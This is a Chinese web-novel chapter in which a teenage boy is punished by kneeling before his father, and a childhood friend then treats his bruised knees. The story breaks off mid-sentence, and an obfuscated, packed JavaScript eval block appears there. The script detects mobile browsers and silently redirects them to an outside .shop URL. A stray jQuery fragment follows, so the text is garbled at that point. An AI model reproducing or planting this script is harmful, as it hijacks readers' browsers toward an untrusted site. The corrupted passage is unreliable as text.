“陈珈淮你今天要来我家吃饭吗?”
消息发出去的时候程橙正趴在自己的小床上晃着腿,团子在一旁刷短剧。
她妈今天早上去花店前跟她说马上开学了,要给她做顿好吃的补补,说她前两天生病整个人都眼见瘦了不少。
程橙想着叫陈珈淮一起,人家不还照顾了自己一下午嘛。
“不去。”
哦莫,怎么不来啊?
程橙没想到陈珈淮会拒绝她,“别啊,你来吧!”
还配了个小猫撒娇的表情包。
程橙不知道的是,陈珈淮现在动不了。
他刚被他爸罚完,膝盖已经跪肿了,他自然不可能去程橙家。
陈珈淮打开卧室门的时候就察觉到了不对,他妈在一旁给他使眼色,他爸坐在一旁的沙发上摆脸子。
他自然是知道为什么,不慌不忙地去了趟卫生间,把自己打理干净之后才站到他爸面前。
“爸。”
陈萧禾没吱声,只是拿起面前的茶壶又给自己续上了一杯茶。
“老陈!”
林知意朝他喊了一声,他才抬眼看向了陈珈淮。
不知道什么时候,以前才到自己小腿的奶娃娃长大了,长大后没有小时候爱说话了,整天都是闷闷的样子。
只有见到程橙的时候,他那张脸上才会露出点别的表情。
陈萧禾把这个念头压下去,开口时语气不算太重:“跪下。”
陈珈淮没有犹豫,膝盖落在地板上的声音发沉。
林知意倒吸了一口凉气,想上前拦,却被陈萧禾一个眼神钉在了原地。
她攥着围裙角,张了张嘴,最终还是没出声,转身进了厨房,锅碗碰撞的声响比平时大了许多。
客厅里只剩下父子二人。
“知道自己错哪儿了?”陈萧禾放下茶杯。
“擅自改签,打乱行程。”陈珈淮的声音没有起伏,脊背挺得笔直,“没有提前跟您商量。”
陈萧禾盯着他看了几秒,冷哼一声:“你倒是有自知之明。”
“但我不会改。”陈珈淮抬起眼,目光迎上父亲的视线,语气平静得像在陈述一件再寻常不过的事,“下次她有事,我还会回来。”
本就不算太好的气氛僵住了。
陈萧禾的手攥紧了椅子扶手,他看着面前这个眉眼与自己有七分相似的少年,忽然觉得有些陌生。
那个小时候会追在他身后喊“爸爸”的小男孩,什么时候变得这么强硬了?
“你——”
“老陈!”林知意端着汤从厨房出来,及时打断了父子之间剑拔弩张的气氛,她把汤碗重重放在桌上,声音刻意拔高,“好了好了,有话好好说,你让他跪着像什么话?大过年的。”
陈萧禾没接话,目光还在陈珈淮脸上停着。
陈珈淮也没有低头,就那么跪在原地。
林知意走过去想拉他起来,他轻轻避开了她的手,低声道:"妈,没事。"
林知意眼眶一红,转头瞪了陈萧禾一眼,转身回了厨房,这回连锅铲的动静都带着火气。
陈萧禾被那一眼瞪得有些挂不住,端起茶杯喝了一口,又放下,指尖在杯沿上摩挲了两下,终于开口:“起来。”
陈珈淮没有动。
“我叫你起来。”陈萧禾的声音低了几分,带着一点不容易察觉的松动。
陈珈淮这才撑着地板站起来,膝盖处的裤子已经皱得不成样子。
他没有去揉膝盖,只是安静地站着等父亲下一句话。
陈萧禾看着他那副样子,千言万语到嘴边只化成一声长叹。
“行了,下不为例。”
陈珈淮点了一下头,转身往餐厅走,脚步不急不慢,看不出一丝异样。
进餐厅之前,他拿出手机看了一眼。
程橙又发了一条消息:“你真不来啊?我妈蒸了你爱吃的粉蒸肉。”
后面跟了一串撅嘴的小猫表情。
陈珈淮盯着那串表情看了看,弯腰揉了揉膝盖,打字回了一句:“明天去。”
对面秒回:“那说好了!”
又补了一条:“你要是骗人我就把粉蒸肉全吃了。”
陈珈淮收起手机,嘴角弯了一下,又压平,拉开椅子坐下来。
林知意从厨房端出最后一道菜,看见他面色如常地坐在餐桌前,她鼻子一酸,端着菜走过去,把碟子放在他面前,声音轻轻柔柔的:“多吃点,补补身体。”
陈珈淮拿起筷子,夹了一块肉放进碗里,低头扒了一口饭。
“妈,明天我去程橙家吃饭。”他说。
林知意愣了一下,随即笑了:“行,去呗。妈给你装一盒车厘子带过去。”
“嗯。”陈珈淮应了一声,继续吃饭。
第二天下午,陈珈淮到的时候,程橙正窝在沙发上啃苹果。
听见门铃响,她光着脚就跳下沙发往玄关跑。
拉开门,陈珈淮站在门口,黑色的羽绒服领口立着,鼻尖被冻得微红,手里拎着一大盒车厘子。
“你来啦。”程橙侧身让他进来,嗓子已经恢复了大半,声音还是有些哑。
陈珈淮换了鞋,把车厘子放到餐桌上,回头看了她一眼:“你穿袜子了吗?”
程橙低头看了看自己光秃秃的脚丫,心虚地往后缩了缩:“屋里暖和。”
“小区的地暖今天上午才修好,还没热透。”陈珈淮径直走到她卧室门口,从门后挂钩上取下一双羊毛袜,走回来蹲下,递到她面前,“穿上。”
程橙被他这一连串操作弄得有些发愣,下意识接过来套上,脚趾踩进暖融融的毛线里,才后知后觉地发现他对她家的东西比她妈还清楚。
“你把我家当自己家了啊。”她嘟囔了一句。
陈珈淮站起来,居高临下地看了她一眼,语气平平:“你小时候在我家不也这样。”
程橙被堵得说不出话,瞪他一眼,转身回沙发上窝着了。
团子趁她没注意,从口袋里探出头,朝陈珈淮的方向眨了眨眼,又迅速缩回去,一副“我什么都没看见”的样子。
郑蕴从厨房探出头来,看见陈珈淮到了,笑着招手:“珈淮来啦?快坐,鱼还得炖一会儿。”
“蕴姨。”陈珈淮应了一声,在程橙旁边坐下,隔了一个身位的距离。
他扫了一眼茶几上摊开的书和半杯凉透的奶茶,从口袋里掏出一盒润喉糖放在她面前,“嗓子没好就别喝凉的了。”
程橙盯着那盒润喉糖看了两秒,无声地拿过来拆开,剥了一颗塞进嘴里,薄荷的凉意从舌尖蔓延到喉咙,确实舒服了不少。
她含着糖,含糊不清地问:“你昨天到底在忙什么啊,发消息都不回。”
陈珈淮拿车厘子的手顿了一下,把最大最红的那颗放进她手心,语气如常:"家里有点事。"
程橙盯着手心里那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626056|204835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
颗红得发亮的车厘子,又看了看他的脸,总觉得他今天走路的姿势有点不对劲,整个人好像在忍着什么。
"你膝盖怎么了?"她直接问了出来。
"没什么。"
程橙没有追问,只是站起来走到了自己卧室前,然后朝陈珈淮说。
“你过来。”
陈珈淮抬头看了她一眼,没有动。
程橙靠在卧室门框上,抱着胳膊看他,嗓子虽然还哑着,但语气里带着一股不容商量的劲儿:“你过来,别让我说第二遍。”
团子在口袋里缩成一团,大气都不敢出。它认识程橙这么久,第一次见她用这种语气跟陈珈淮说话。
陈珈淮沉默了两秒,站起来,走到她面前。
他比她高出一个头,低头看她的时候,眼底没什么情绪,但程橙注意到他站起来的那一瞬间,右膝有一个极轻微的曲伸,像是借力才站稳的。
“坐下。”她指了指床沿。
陈珈淮没有动。
程橙仰头看着他,一字一句地说:“你要是不坐,我现在就把袜子脱了再吃一个冰激凌。”
这一招比什么都管用。
陈珈淮的眉头动了一下,终于妥协,在床沿坐下。
程橙背过身去和团子说了句什么,然后手里就出现了那颗“消消糖”,不容陈珈淮拒绝程橙就把那颗糖塞进了他嘴里。
团子说过这糖吃下去心情就会变好的,她不用猜都知道陈珈淮膝盖上的伤怎么来的了。
陈叔叔从小到大就只会这一招,只要陈珈淮违背他了就会让他罚跪。
讨厌陈叔叔!
程橙忍下情绪,蹲下来伸手去掀他的裤腿。
陈珈淮下意识往后缩了一下:“橙橙——”
“别动。”程橙按住他的膝盖,力道不重,但陈珈淮没有再躲。
裤腿被掀开,露出膝盖。
淤青从髌骨下方蔓延到小腿上端,青紫交错的痕迹在冷白的皮肤上格外刺眼。
小区的地暖今天才恢复供应,地板那么凉陈珈淮怎么受得了啊。
程橙盯着那片淤青看了几秒,然后站起来,转身走到衣柜前,翻出一管药膏,走回来蹲下,挤了一点在手心,低头往他膝盖上涂。
她的动作很轻,指尖带着温热的药膏慢慢推开,力道控制在不会弄疼他的范围。
陈珈淮低头看着她,头顶的发旋在灯光下毛茸茸的,睫毛垂下来,在眼下投出一小片阴影。
“你以前膝盖磕破的时候,我也这样蹲在你面前给你涂药。”他忽然开口。
程橙的手停了一下,没有抬头:“那是小时候的事儿了。”
“嗯。”陈珈淮应了一声,没有再说话。
程橙涂完药,把药膏拧好放回抽屉,站起来居高临下地看着他:“糖好不好吃?”
"甜的。"
“废话,难不成还是苦的。”她说,语气凶巴巴的,“你不会反抗嘛,让你跪你就跪!”
陈珈淮看着她那副故作凶狠的样子,嘴角弯了一下:“行,下次我不跪了。”
程橙瞪他一眼,转身往外走,走了两步又停下来,没有回头,声音闷闷的:“以后别瞒着我了,如果你和我说实话,昨天我就去和叔叔解释了。”
她说完就快步走出了卧室,留陈珈淮一个人坐在床边,糖块的甜味儿在口腔里弥漫,膏药的气味在空气里散开。
好像跪这一会儿也不算什么了。